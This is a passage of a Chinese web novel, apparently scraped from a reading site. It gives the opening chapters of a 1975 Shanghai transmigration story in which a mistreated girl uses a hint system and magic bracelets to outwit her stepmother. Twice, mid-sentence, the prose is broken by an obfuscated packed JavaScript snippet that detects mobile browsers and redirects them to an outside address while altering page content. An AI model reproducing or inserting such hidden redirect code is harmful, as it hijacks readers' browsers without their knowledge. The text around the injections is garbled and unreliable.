《七五吃瓜手札: 我在年代文里卷成亿万富翁》 1. 吃瓜吃到自己头上 1975年深秋的上海,梧桐叶落了一地。 林晚照从一阵剧烈的头痛中醒来时,正对上梳妆台镜子里那张陌生的脸——十六七岁的年纪,皮肤苍白得过分,下巴尖得能戳人,只有那双杏眼里还残留着几分不属于这个年龄的麻木。 “晚照,还愣着干什么?快去把早饭端上来!” 门外传来继母王秀英尖利的嗓音,伴随着锅碗瓢盆碰撞的声响。林晚照下意识地起身,身体却像有自己的记忆般走向门口。就在手指触碰到门把手的瞬间,眼前的景象突然扭曲—— 镜子里,她的头顶赫然飘过一行鲜红的文字,像极了后世视频网站上的弹幕: 【警告!三分钟后,你将因‘失手’打碎继母最爱的搪瓷缸,被罚跪在院子里一整天,高烧39度无人问津,从此落下病根。】 林晚照猛地收回了手。 什么玩意儿? 她环顾四周——窄小的阁楼间,糊着泛黄的报纸,木质窗框漆皮斑驳。身上穿着洗得发白的碎花衬衫,袖口磨出了毛边。这一切都真实得可怕,却又陌生得离谱。 更多的记忆碎片涌入脑海:林晚照,十六岁,纺织厂车间主任林建国的女儿。生母早逝,父亲续弦娶了厂里女工王秀英。两个月前,王秀英带来的拖油瓶弟弟“不小心”推她下楼,她撞到头昏迷三天,醒来后就成了……现在这个能看见奇怪文字的“林晚照”。 不,等等。 林晚照扶着发胀的额头,一段不属于她的记忆突然清晰起来——这是一本名叫《激情燃烧的岁月》的年代文小说。书里有个和她同名的恶毒女配,因嫉妒女主沈红梅得到男主陈卫东的爱慕,处处使绊子,最后落得众叛亲离,被继母嫁给四十多岁的家暴车间主任,三十岁就郁郁而终。 而她,昨晚还在自己的公寓里边吃西瓜边吐槽这本小说逻辑硬伤,一觉醒来就成了这个倒霉女配。 “林晚照!你耳朵聋了是不是!” 王秀英的脚步声逼近楼梯。林晚照心脏狂跳,视线再次聚焦到镜面上——又有新的文字滚动出现: 【王秀英此刻心情值:65/100(盘算着如何说服林建国把工作名额给亲儿子)】 【特殊提示:她左口袋藏着昨晚从你枕头下摸走的三元七角钱,右口袋有一封写给街道办李主任的信,内容关于‘自愿’将下乡名额让给弟弟林宝根。】 下乡?1975年? 林晚照脑子飞速运转。是了,原剧情里,原主就是因为打碎搪瓷缸被罚跪生病,错过了反抗的最佳时机,最后被继母用“身体不好需要弟弟照顾”为由,硬是把她的留城工作名额换成了弟弟的,她自己则被发配到最偏远的北大荒。 不能坐以待毙。 她深吸一口气,伸手推开了门。 --- 逼仄的楼梯吱呀作响。林晚照走下阁楼时,八平米不到的客厅里已经挤满了人。 父亲林建国坐在唯一一张藤椅上,端着搪瓷缸喝茶,报纸挡着脸。继母王秀英系着围裙在灶台前忙碌,十六岁的弟弟林宝根正狼吞虎咽地吃着煮鸡蛋——这个家里,只有他能每天吃上一个鸡蛋。 “磨磨蹭蹭的,还以为自己是大小姐呢。”王秀英斜睨她一眼,把手里的搪瓷缸重重放在桌上,“去,给老子倒水。” 那搪瓷缸上印着鲜艳的“劳动最光荣”,缸口已经有了细碎的裂痕。 林晚照的视线再次飘起文字: 【搪瓷缸状态:即将碎裂(王秀英今早故意磕出了暗裂)】 【行动建议:若触碰,100%几率‘失手’打碎。】 好一出栽赃陷害。 林晚照站在原地没动,目光扫过这个所谓的“家”——墙壁上贴着“工业学大庆,农业学大寨”的宣传画,五斗柜上摆着印有主席像的陶瓷像章,缝纫机蒙着碎花布,那是王秀英的嫁妆。一切都在诉说着这是一个最普通的七十年代工人家庭。 可内里呢? “怎么,使唤不动你了?”王秀英拔高音量,“林建国,你看看你闺女!睡到日上三竿,让干点活就摆脸色!” 林建国从报纸后抬起眼皮,眉头皱成川字:“晚照,听你妈的话。” 那声“妈”刺得林晚照耳膜生疼。她看着这个生理学上的父亲——四十出头,头发已经白了一半,眼神里透着长期被生活磨平棱角的麻木。原著里,他直到女儿被逼死前都在说“家和万事兴”。 “爸,”林晚照开口,声音因为长期少言寡语而有些沙哑,“我今天头还是晕,昨天医生不是说让我多休息吗?” 她边说边往前走,脚步虚浮,眼看着就要碰到桌沿——却突然一个踉跄,身体歪向另一侧,手“无意间”带倒了靠在墙边的扫帚。 “哐当!” 扫帚砸在地上,扬起灰尘。 而那个搪瓷缸,安然无恙地待在桌上。 王秀英的脸色瞬间变了。她准备好的台词卡在喉咙里,憋得脸颊发红。 林晚照扶着墙站稳,垂下眼睑,藏住眸子里一闪而过的冷光。弹幕再次浮现: 【王秀英心情值降至:50/100(计划A失败,启动计划B)】 【计划B内容:午饭时‘不小心’将热汤泼在你手上,制造烫伤,无法参加下周的招工体检。】 够狠。 林晚照抬眼时,已经换上一副怯生生的表情:“对不起妈,我、我这就去收拾……” “算了算了!”王秀英不耐烦地摆手,“病秧子似的,看着就晦气。去把垃圾倒了。” 倒垃圾要经过公共走廊,那是筒子楼里信息流通最快的地方。 林晚照拎起墙角的簸箕,里面只有些菜叶和煤灰。她慢慢走出门,踏入昏暗的走廊。早秋的阳光从尽头的气窗斜射进来,在水泥地上切割出明暗交错的光斑。 “哟,晚照起来啦?” 隔壁301的门开着,赵婶正在门口择菜,一双眼睛上下打量她,“听说你前阵子摔得不轻,好利索没?” “好多了,谢谢赵婶关心。”林晚照轻声回答。 弹幕适时跳出: 【赵婶,街道办积极分子,掌握整栋楼80%的八卦。此刻正在心里盘算:王家那口子最近老往李主任家跑,怕是又要求人办事。】 “那就好,那就好。”赵婶压低了声音,身子往前凑了凑,“晚照啊,不是婶多嘴,你可得长点心。昨儿个我看见你后妈拎着两瓶麦乳精往李主任家去,你弟都快十七了,怕是……” 话没说完,但意思再明白不过。 林晚照眼圈一红,恰到好处地低下头:“我、我知道的。我妈说,弟弟是男丁,以后要顶门立户,我一个女孩子,早晚要嫁出去……” “呸!什么封建思想!”赵婶顿时义愤填膺,“新社会了,主席都说‘妇女能顶半边天’。你成绩那么好,初中毕业考了全年级第三,凭什么不让上高中?哦对了,听说纺织厂这回内招,只要一个名额?” 来了。 林晚照的手指微微收紧,面上却仍是那副柔弱模样:“嗯,我爸说……说让我把机会让给弟弟,他年纪小,更需要工作。” “胡闹!”赵婶嗓门大了起来,“你才十六!他林宝根初中都没念完,整天跟街溜子混在一起,能进纺织厂?这不是糟蹋名额吗!” 走廊里其他几扇门悄悄开了缝。 林晚照知道,这些话很快就会传遍整个家属院。她要的就是这个效果——在继母动手之前,先把“王秀英为亲儿子抢继女工作”的风声放出去。 倒完垃圾回来时,客厅里的气氛已经变了。 林建国放下了报纸,脸色铁青。王秀英则狠狠剜了她一眼,显然是从儿子那里听说了走廊上的对话。 “晚照,”林建国开口,声音干涩,“工作的事,爸再想想办法。但你弟确实……” “爸,”林晚照打断他,抬起眼睛,“我想报名下乡。” 空气骤然安静。 连王秀英都愣住了。 “你、你说什么?”林建国不敢相信自己的耳朵。 “我说,我想响应号召,到农村去,到祖国最需要的地方去。”林晚照一字一句,声音清晰,“弟弟既然想要纺织厂的工作,就给他。我是姐姐,应该让着他。” 这话说得漂亮,漂亮到林建国脸上火辣辣的。 王秀英最先反应过来,脸上堆起假笑:“哎哟,晚照真是懂事了!妈就知道你是个好孩子。不过下乡可不是闹着玩的,你身体这么弱……” “我可以去条件好一点的地方。”林晚照顺着她的话说,“我听说,有些知青点离县城近,土地也肥沃。妈,您人脉广,能不能帮我打听打听,哪里最合适?” 她把皮球踢了回去。 王秀英噎住了。她原本打算把林晚照扔到最苦的北大荒,可现在这话一说,如果她真给找了个鸟不拉屎的地方,全楼的人都会戳她脊梁骨。 弹幕疯狂滚动: 【王秀英CPU已烧,正在重新计算最优方案】 【林建国愧疚值+20,当前:45/100(突破50将触发保护机制)】 【建议:趁热打铁,提出具体要求。】 “爸,”林晚照转向林建国,眼圈又红了,“我知道家里困难,弟弟娶媳妇要花钱。我下乡不要家里贴补,但……能不能把妈妈留下的那对银镯子给我?就当是个念想。” 提到亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854251|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻,林建国的表情松动了一瞬。 王秀英却像被踩了尾巴:“什么银镯子!那早就……” “早就怎么了?”林晚照直直看向她,“我妈临终前亲口说的,镯子留给女儿当嫁妆。我去年还见您戴过一只。” 王秀英的脸色青白交错。那对镯子成色极好,她早就偷偷藏起来,打算等儿子结婚时卖掉换钱。 “给你给你!”林建国突然一拍桌子,“那是你妈的东西,本来就该是你的!王秀英,去拿来!” “老林!那镯子我、我收在娘家了,一时半会儿……” “那就明天去拿!”林建国难得硬气一回,“晚照都要下乡了,要个念想怎么了?” 王秀英咬碎了牙,也只能点头。 林晚照低下头,掩住嘴角的冷笑。原著里,那对镯子中有一只暗藏玄机——那是外婆留下的遗物,内壁刻着极小的符文,正是开启某个空间的媒介。原主到死都不知道这个秘密。 午饭果然“意外”频发。 王秀英端汤时“手滑”,滚烫的菜汤朝林晚照的手泼来——林晚照却恰好起身去拿筷子,汤水全洒在了桌上。 添饭时,林宝根“不小心”撞了她一下——林晚照顺势扶住墙,手里的碗安然无恙。 一顿饭下来,王秀英的脸黑得像锅底。 下午,林晚照以“收拾下乡行李”为由回到阁楼。关上门,她才终于放松紧绷的神经,后背已被冷汗浸湿。 这具身体太弱了。长期营养不良,加上前阵子摔伤未愈,只是周旋这一上午就已经精疲力尽。 她坐在床边,从枕头下摸出一面小镜子。镜中少女眉眼清秀,却瘦得脱相。而此刻,镜面上再次浮现文字——但这次不一样: 【检测到宿主初步改变‘打碎搪瓷缸’剧情节点】 【弹幕系统激活度:10%】 【新增功能:可查看关键物品的‘前世今生’(每日限三次)】 林晚照心跳加速。她拿起镜子,集中精神看向它: 【物品:龙凤银镯(左)】 【状态:被封印的空间媒介】 【前世今生:清末宫廷匠人打造,内刻微型聚灵阵。1937年因战乱流落民间,被宿主外婆所得。激活需至亲之血与强烈愿力。】 【提示:另一只镯子目前位于王秀英娘家樟木箱底层,用红布包裹。】 真的有空间! 林晚照呼吸急促起来。原著只是个普通年代文,根本没有超自然设定。难道是因为她的穿越,带来了变数? 她压下激动,继续思考。现在有了明确目标:第一,拿到另一只镯子;第二,在继母动手前,抢先拿到下乡的主动权;第三,利用弹幕系统,在这个年代活下去,活得好。 窗外的天色渐渐暗下来。 楼下传来王秀英刻意拔高的声音:“李主任啊,您怎么来了!快请进请进——” 来了。 林晚照走到门边,将耳朵贴上去。弹幕自动浮现: 【李淑芬,街道办主任,王秀英远房表姐。携带‘知青安置方案’一份,其中红星公社名额已内定给林晚照(该公社以贫困、偏远、极品多著称)。】 【李淑芬此刻心理活动:秀英这回给的三块钱好处费太少了,得再敲打敲打。】 林晚照的手握成拳。 红星公社——原著里,那是女主沈红梅所在的地方,也是原主作妖的主战场。继母果然想把她扔进那个泥潭。 但换个角度想……那里,不也正是“瓜田”最茂盛的地方吗? 楼下,谈话声隐约传来: “……晚照那孩子自愿的,我们做家长的当然支持……对,就去红星公社,锻炼人……” “……体检表我带来了,盖章就行……” “……放心,手续快得很,下周就能走……” 林晚照慢慢退回床边,在昏暗的光线里坐下。阁楼很小,小到转个身都困难。但她忽然笑了,笑得肩膀轻轻颤抖。 原来这就是1975年。原来这就是她必须面对的人生。 可她不再是那个任人摆布的林晚照了。 她有弹幕,即将有空间,有对未来的先知。她要在这个年代,撕出一条属于自己的路。 楼下的笑声虚伪而刺耳。 林晚照摊开手心,看着掌纹在暮色中蔓延。明天,她会拿到那只镯子。下周,她会踏上前往红星公社的火车。 而此刻,在她看不见的镜子深处,那行刚刚浮现的文字正在缓缓消失,仿佛从未存在过: 【警告:原书女主沈红梅已于三个月前觉醒‘重生’记忆。你们的第一次相遇,将比原剧情提前一年。】 2. 镯子与陷阱 第二天清晨,林晚照是被楼下的争吵声惊醒的。 她睁开眼,阁楼的天窗透进灰蒙蒙的光。冬天的上海,早晨六点天还没全亮,寒气顺着木板缝往屋里钻。她裹紧单薄的被子,侧耳倾听。 “……说好的五块!李淑芬你坐地起价啊?”是王秀英压低的、咬牙切齿的声音。 “哎哟我的好表妹,你这是站着说话不腰疼。”街道办李主任的腔调拖得老长,“红星公社那可是抢手地方——穷是穷了点,但工分值钱啊!多少人托关系想去还去不成呢。” “抢手?那种鸟不拉屎的地方……” “嘘!小声点!”李主任的声音更低了些,“你不是就想把那丫头扔远点吗?红星公社在江西,离上海十万八千里,去了就别想回来。再说了,今年他们公社还有个‘先进知青点’的名额,表现好的,说不定能推荐去县里当民办教师……” 林晚照悄悄起身,赤脚走到门边。 弹幕在她眼前浮现: 【李淑芬撒谎。红星公社去年饿死过知青,县里早就挂了号,所谓‘民办教师’名额根本不存在。】 【王秀英实际支付金额:8元(已透支本月菜金)】 【交易达成可能性:95%】 果然如此。 林晚照退回床边,开始慢慢穿衣服。碎花棉袄袖口已经磨出了线头,肘部打着不显眼的补丁。这是原主最好的一件冬衣。 她穿好衣服,从枕头下摸出那面小镜子。镜中的少女脸色依然苍白,但眼神已经不一样了——那里头有了点光,有了点属于“林晚照”自己的东西。 “系统,”她在心里默念,“查看今天可用的物品探查次数。” 文字浮现: 【今日剩余:3/3次】 【提示:关键物品探查可获取隐藏信息】 正好。今天要用在刀刃上。 --- 下楼时,客厅里的“交易”已经结束。 李主任坐在藤椅上,端着新沏的茶,一副公事公办的表情。王秀英站在灶台边,背对着人,肩膀紧绷。林建国不在——他一早就去厂里了,永远巧妙地避开家庭矛盾。 “晚照起来啦?”李主任放下茶杯,笑容满面,“听说你主动要求下乡,思想觉悟很高嘛!我们街道就需要你这样的好青年!” 林晚照垂下眼,做出羞涩模样:“李主任过奖了,我就是想向贫下中农学习……” “好好好!”李主任从随身带的黑色人造革包里掏出几张表格,“手续我都带来了。你签个字,按个手印,下周就能走。红星公社那边我已经打好招呼,保管给你安排个好点的大队。” 林晚照接过表格。纸张粗糙,印着红色的抬头“知识青年上山下乡报名表”。她快速扫过内容——姓名、年龄、家庭成分、政治面貌……在“安置地点”一栏,已经用蓝黑墨水写好了“江西省永丰县红星公社”。 她的指尖在纸张边缘摩挲了一下。 弹幕跳出: 【表格第三联(存档联)的‘安置地点’处有涂改痕迹。原为‘黑龙江生产建设兵团’,昨日改为‘红星公社’。】 【涂改人:李淑芬】 【动机:收取两地差价好处费共计15元】 林晚照的心脏重重跳了一下。 黑龙江建设兵团——那是真正的好去处,虽然苦,但待遇好、有保障,很多干部子女都去那里。继母竟然连这个机会都要给她换掉。 “怎么了?”王秀英转过身,脸上堆着假笑,“晚照,快签字啊。妈可是求了李主任好久,才给你争取到这么好的地方。” 林晚照抬起头,眼圈适时地红了:“妈,我、我听说黑龙江那边……” “胡说什么!”王秀英脸色一变,“那是谣言!黑龙江多冷啊,你这身子骨能受得了?江西多好,气候暖和,吃的也好……” “可是,”林晚照的声音细细的,却异常清晰,“我同学刘芳的姐姐去年去了江西,来信说……说那里一天只吃两顿,都是红薯,半年没见油腥。” 客厅里死寂了一瞬。 李主任的笑容僵在脸上。 王秀英的嘴角抽搐着,突然一拍桌子:“林晚照!你这是什么意思?怀疑你妈害你是不是?我辛辛苦苦给你跑关系,你就这么报答我?” “妈,我不是这个意思。”林晚照的眼泪恰到好处地掉下来,“我就是害怕……我一个人去那么远,万一、万一病了死了,连个收尸的人都没有……” 这话说得太直白,连李主任都听不下去了:“哎哟你这孩子,说的什么晦气话!红星公社是贫困了点,但组织上肯定会照顾……” “李主任,”林晚照转向她,眼泪汪汪,“我能看看公社的介绍信吗?就……就想心里有个底。” 这是合理要求。 李淑芬的脸色变了变,但还是从包里掏出一张盖着红章的信纸。 林晚照接过,手指触碰到纸张的瞬间,集中精神—— 【物品:红星公社接收介绍信】 【状态:真实有效】 【隐藏信息:此公社三年内发生知青非正常死亡事件两起,一起为山洪(天灾),一起为斗殴(人祸)。现任公社书记张大山系王秀英远房表哥的连襟。】 【特别提示:信中未写明的‘第五生产队’为全公社最穷大队,工分日值仅八分钱,已内定安置林晚照。】 果然层层关系,处处陷阱。 林晚照把信纸递回去,手指微微发抖——这次不是演的。八分钱一个工分,一个壮劳力一天最多挣十个工分,也就是八毛钱。而她这种刚去的女知青,能挣六七个工分顶天了。 一年干到头,可能还不够回上海的路费。 “看完了?”王秀英一把抢过信纸,“现在能签字了吧?” 林晚照深吸一口气:“妈,您昨天答应我的镯子……” “就知道惦记那点东西!”王秀英瞪她一眼,转身从五斗柜抽屉里摸出一个小布包,重重摔在桌上,“拿去!以后别说我亏待你!” 布包散开,一只银镯子露出来。 林晚照的心跳漏了一拍。她伸手去拿,指尖触碰到冰凉的银质—— 弹幕没有出现。 她心里一沉,集中精神再次默念“查看”。 依旧没有反应。 这不是那只镯子。 “妈,”林晚照抬起头,声音很轻,“这好像……不是我妈妈那只。我妈那只内壁刻了字的,是外婆的名字。” 王秀英的表情瞬间裂开一条缝。 “你胡说什么!这就是你妈那只!我还能骗你不成?”她的声音拔高,带着被戳穿后的虚张声势,“不想要就还给我!” 林晚照没有还。她拿起镯子,走到窗边,借着晨光仔细看。银质黯淡,做工粗糙,内壁光滑——这分明是百货商店里卖的那种最便宜的银镯子,不会超过五块钱。 “妈,”她转回身,眼泪又涌出来,“您要是真不想给,我就不要了。何必拿个假的糊弄我……我知道,我不是您亲生的,您疼弟弟是应该的……” “你!”王秀英气得浑身发抖。 李主任坐在一旁,表情尴尬里带着看戏的意味。这事闹得,传出去可不好听。 林晚照哭得肩膀一抽一抽,心里却在冷静地计算:王秀英把真镯子藏在哪里?娘家?会不会已经卖了?不,按照弹幕昨天的提示,应该还在。 她需要再加一把火。 “李主任,”她转向街道办主任,哽咽着说,“这镯子我不要了。我这就签字……我只求您一件事,等我下乡以后,逢年过节,能不能……能不能让人给我捎句话,告诉我爸爸我还活着……” 这话说得太惨,连李淑芬这种老油条都有些不忍:“哎哟,别哭了别哭了。秀英啊,这就是你不对了,孩子都要走了,留个念想怎么了?” 王秀英的脸一阵红一阵白。楼道里已经传来邻居的脚步声和窃窃私语——刚才的争吵声太大了。 “行!”她咬牙,从牙缝里挤出声音,“我给你拿真的!但你得保证,今天就把字签了,下周乖乖走人!” “我保证。”林晚照擦掉眼泪,露出一个脆弱的笑容。 王秀英狠狠瞪她一眼,转身进了里屋。五分钟后,她拿着另一个布包出来,这次的动作小心了许多。 布包打开,一只银镯子静静躺在红绒布上。 这一只明显不同——银质温润,透着岁月沉淀的光泽,雕着精致的龙凤纹。林晚照的手有些抖,她拿起镯子,指尖在内壁摩挲。 果然,有极细微的凹凸感。 她集中精神: 【物品:龙凤银镯(右)】 【状态:被封印的空间媒介(双镯之一)】 【前世今生:与左镯为一对,1937年分离。内刻微型聚灵阵残缺部分。】 【激活条件:双镯合一方可滴血认主。单独佩戴可微弱滋养身体(当前效果:佩戴者体质+1/月)。】 【隐藏信息:此镯昨夜被王秀英从娘家取回时,其弟媳试图调包未遂。真镯目前市值约120元(黑市价)。】 成了。 林晚照紧紧握住镯子,冰凉的银质渐渐被掌心焐热。她能感觉到,一股极细微的暖流从镯子渗入皮肤——很微弱,但确实存在。 “这下满意了?”王秀英没好气地说,“签字!” 林晚照没再犹豫,在报名表上签下自己的名字,按下红手印。表格一式三份,李主任收走两份,留给她一份副本。 “行了,下周一的火车,早上七点火车站集合。”李主任把表格收进包里,“记得带好户口迁移证、粮票、行李。铺盖卷不用带太厚,江西暖和。” 说完,她起身离开,高跟鞋在楼道里敲出清脆的声响。 王秀英一屁股坐在藤椅上,盯着林晚照,眼神复杂——有怨恨,有松了一口气的轻松,还有一丝不易察觉的愧疚。 “晚照,”她突然开口,声音低了些,“你也别怪我。这世道,女人命苦。你去了乡下,好好干活,说不定……说不定还能找个好人家嫁了。” 林晚照低着头,没说话。 “你弟弟是男丁,得留在城里顶门立户。你是姐姐,让着他是应该的。”王秀英继续说,像是在说服自己,“等你在那边安定下来,妈……妈给你寄点吃的。” 林晚照依旧沉默。她知道,这话不会兑现。 她攥紧手里的银镯,转身上楼。阁楼的门关上,隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854252|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝了楼下那个所谓的“家”。 坐在床边,她把两只镯子都拿出来,并排放在手心里。左镯是从枕头下找到的,右镯是刚拿到的。它们在昏暗的光线里泛着柔和的光,龙凤纹路在阴影中仿佛要活过来。 弹幕浮现: 【双镯齐聚,可激活空间。是否立即激活?】 【警告:激活过程可能引发能量波动,建议在无人处进行。】 现在不行。家里有人,而且她需要准备一下。 林晚照把镯子戴在左手腕上——一左一右,刚好合适。那股暖流更明显了,像两道细微的温泉,顺着血脉慢慢流淌。她能感觉到,从昨天就开始隐隐作痛的额角,疼痛正在缓解。 这就是体质+1的效果吗? 她躺回床上,看着天窗外逐渐亮起来的天空。下周一,她就要离开上海,去一个完全陌生的地方。 那里有贫穷,有未知的危险,有原书女主沈红梅——那个重生的、对她充满敌意的女人。 但那里也有机会。 离开这个压抑的家,离开既定的命运轨道。她可以用弹幕系统避开危险,用空间改善生活,用对未来的先知抓住机遇。 1975年,距离改革开放还有三年,距离恢复高考还有两年。 她等得起。 楼下传来王秀英和林宝根的说话声: “妈,她真把镯子拿走了?那本来不是说卖了给我买手表吗?” “闭嘴!这事别提了!” “那她走了,阁楼是不是就归我了?我要弄个书桌……” “归你归你,都归你。” 林晚照闭上眼睛,嘴角勾起一丝极淡的弧度。 拿吧,都拿去吧。 这个阁楼,这个家,她都不要了。 她要的,是更广阔的世界。 --- 傍晚,林建国回来了。 他带回了一网兜苹果——罕见的好东西。王秀英接过时,脸上终于有了点真心的笑容。 饭桌上,林建国难得地给林晚照夹了一筷子炒鸡蛋:“晚照,到了乡下,好好照顾自己。缺什么……就给家里写信。” 林晚照低头吃饭,嗯了一声。 “爸,”林宝根插嘴,“我姐走了,她那辆自行车是不是……” “给你骑。”林建国闷声说。 林晚照握筷子的手紧了紧。那辆女式飞鸽自行车,是生母留给她的十六岁生日礼物。她没说话,继续扒饭。 晚饭后,她主动去洗碗。厨房的窗户外,能看到隔壁楼的灯火。每一盏灯下,都是一个家庭,都有自己的悲欢。 她洗得很慢,很仔细。这是她在这个家洗的最后几次碗了。 洗完碗回阁楼时,在楼梯口遇到了林建国。他站在那里,像是特意在等她。 父女俩对视了几秒。 “晚照,”林建国开口,声音有些哑,“爸……爸对不住你。” 林晚照看着他。这个四十多岁的男人,鬓角已经白了,眼里有血丝,有愧疚,也有深深的无力。 “你知道你王姨她……她也不容易。”林建国搓着手,“宝根是她带过来的,她总怕我亏待了宝根,所以……所以有时候委屈了你。” 林晚照静静听着。 “你下乡,是好事。”林建国继续说,像是在说服自己,“离开家,出去见见世面。等过两年,形势好了,爸想办法把你弄回来。” 这话,原著里他也说过。然后原主在乡下等了一年又一年,等到死。 “爸,”林晚照轻声说,“您保重身体。” 她没有说“我等您想办法”,也没有说“我不怪您”。 她只是说,保重身体。 林建国愣了下,眼圈突然红了。他张了张嘴,最终什么也没说,转身下楼了。 林晚照回到阁楼,关上门。 夜深了。 她确定楼下的人都睡熟后,从床上坐起来,取下两只镯子,放在掌心。 月光从天窗洒进来,落在银镯上,那龙凤纹路仿佛在月光里游动。 她咬破指尖,一滴血珠渗出来,落在两只镯子相接处。 弹幕疯狂跳动: 【检测到至亲之血(隔代遗传有效)】 【检测到强烈愿力:求生、改变、自由】 【空间激活中——】 【警告:能量波动可能引发现有世界规则排斥!】 【3……2……1……】 镯子突然烫了起来。 林晚照握紧它们,感觉到一股力量从掌心炸开,眼前一黑—— 再睁开眼时,她不在阁楼了。 脚下是湿润的黑土地,一眼望不到边。正前方有一口古井,井水清澈,泛着淡淡的莹光。井边立着一块石碑,刻着看不懂的古文字。 而最让她心跳骤停的是—— 古井旁,坐着一个女人。 一个穿着七十年代表列宁装,剪着齐耳短发,和她年纪相仿的女人。 女人转过头,露出一张林晚照在原著描写里看过无数次的脸。 清秀,温婉,眼神却锐利得像刀子。 沈红梅。 她笑着说:“林晚照,我等你很久了。” 3. 空间里的交易 时间仿佛静止了。 林晚照站在黑土地上,手腕上的双镯滚烫,烫得她几乎要松手。但她的手指死死攥着,指甲掐进掌心,疼痛让她保持清醒。 对面的沈红梅站起身,拍了拍列宁装的下摆。她的动作很从容,甚至带着一种居高临下的审视感。 “别紧张,”沈红梅笑了笑,那笑意却没到眼底,“这不是真实的相遇。你现在看到的,是我三年前留在这个空间里的一缕意识残影。” 意识残影? 林晚照强迫自己冷静下来。弹幕系统没有反应,这意味着眼前的“沈红梅”确实不是活人,或者不属于“当前可解析对象”。 “你是说,这个空间……你以前也有?”林晚照试探着问,声音在空旷的空间里显得很轻。 沈红梅没有直接回答。她走到古井边,弯腰掬起一捧水。井水在她掌心泛着莹光,又顺着指缝流回井里。 “龙凤银镯,清末宫廷造办处的最后一批法器。”她转头看林晚照,眼神复杂,“我上辈子也是十六岁拿到它们,也是被后妈逼着下乡,去了红星公社。” 林晚照的心跳漏了一拍。 “上辈子?”她重复道。 “对,上辈子。”沈红梅直起身,“我活到了1999年,四十岁,肺癌死的。临死前才知道,自己活在一本书里,还是本结局憋屈的年代文。” 井边的风很轻,吹动了沈红梅额前的碎发。她的表情很平静,平静得让人发毛。 “重生回来后,我第一件事就是找到这对镯子,激活了空间。我用灵泉水治好了自己的先天不足,用黑土地种粮换钱,用先知避开所有祸事。”沈红梅顿了顿,“我考上了大学,成了第一批万元户,嫁给了书里的男主陈卫东。” 听起来是个完美的逆袭故事。 但林晚照注意到,沈红梅说这些时,眼睛里没有一点光。 “然后呢?”林晚照轻声问。 “然后我发现,无论我怎么改变,总有一股力量在把剧情往回拉。”沈红梅的笑容变得有些扭曲,“陈卫东还是会遇到书里那些‘红颜知己’,我的生意总会莫名其妙出问题,甚至……我好不容易怀上的孩子,三个月就流产了。” 她走向林晚照,一步,两步。两人之间的距离不到三米。 “医生说是意外。但我知道不是。”沈红梅盯着林晚照的眼睛,“是这个世界在修正剧情。因为按照原书,我沈红梅就该是个普通村姑,就该在三十五岁那年得胃癌死掉,给男主的新欢腾位置。” 林晚照的后背渗出冷汗。 “所以去年冬天,我做了一个实验。”沈红梅的声音低下来,“我用全部的精神力,强行把空间从我的灵魂上剥离,封回了这对镯子里。我想看看,如果‘金手指’消失了,剧情还会不会追着我不放。” “结果呢?” “结果就是我现在站在这里,和你说话。”沈红梅摊开手,“剥离空间的时候,我的肉身当场死亡。这一缕意识被困在空间里,直到今天你激活它。” 她顿了顿,突然笑了:“有意思的是,我死之后,剧情真的不找我了。陈卫东顺利升了副厂长,娶了局长的女儿,过得风生水起。所以你看,这个世界要的从来不是某个人过得不好,它只是要‘剧情正确’。” 林晚照消化着这些信息。黑土地延伸向远方,古井的水面泛起涟漪,这个空间安静得能听见自己的心跳。 “那你为什么等我?”她问出了最关键的问题。 沈红梅的笑容淡了。 “因为我剥离空间时,看到了点别的东西。”她说,“这个空间不是天然形成的法器,它是被‘投放’到这个世界的。投放者是谁我不知道,但它的目的很明确——寻找合适的宿主,观察宿主如何用金手指对抗‘剧情惯性’。” 林晚照的指尖冰凉。 “我是第一个宿主,你是第二个。”沈红梅走近一步,“我失败了,但我不甘心。所以我把这缕意识留在这里,等下一个宿主出现。我想看看,你能不能做到我做不到的事。” “比如?” “比如真正打破剧情,活出一个不一样的人生。”沈红梅的眼神锐利起来,“比如查出这个空间到底是谁投放的,为什么要选我们这些人。” 林晚照沉默了。她低头看手腕上的双镯,银质温润,龙凤纹路在空间的光线下仿佛在游动。 “你告诉我这些,想要什么?”她抬起眼。 “交易。”沈红梅说得干脆,“我把空间的使用经验告诉你,教你避开我踩过的坑。作为交换,你要帮我做三件事。” “哪三件?” “第一,去红星公社之后,找到我埋在知青点老槐树下的铁盒子,里面有一些我上辈子攒的东西,你帮我处理掉。” “第二,如果有机会……让陈卫东付出代价。不用要他命,但要让他尝尝众叛亲离的滋味。” 沈红梅说这话时,语气平静得像在说今天天气真好。但林晚照能感觉到,那平静底下是淬了毒的恨。 “第三呢?” “第三,”沈红梅看着她,“如果有一天,你真能接触到这个世界的‘真相’,记得烧纸告诉我一声。” 林晚照没有立刻答应。她在心里快速权衡——沈红梅的话可信吗?有多少是真的,多少是陷阱? 弹幕系统依然没有反应。这意味着要么沈红梅说的全是真话,要么她的存在层级高于弹幕系统的解析能力。 “我怎么确定你不是在骗我?”林晚照直视她。 沈红梅笑了,那笑容里第一次有了点真实情绪:“你手腕上的镯子,内壁刻的字是‘璇玑’二字,对吧?那是你外婆的闺名。你外婆叫林璇玑,1905年生人,1937年从南京逃难到上海,随身带了十二箱嫁妆,这对镯子是其中最不起眼的一件。” 林晚照呼吸一窒。这些信息,连原主的记忆里都没有。 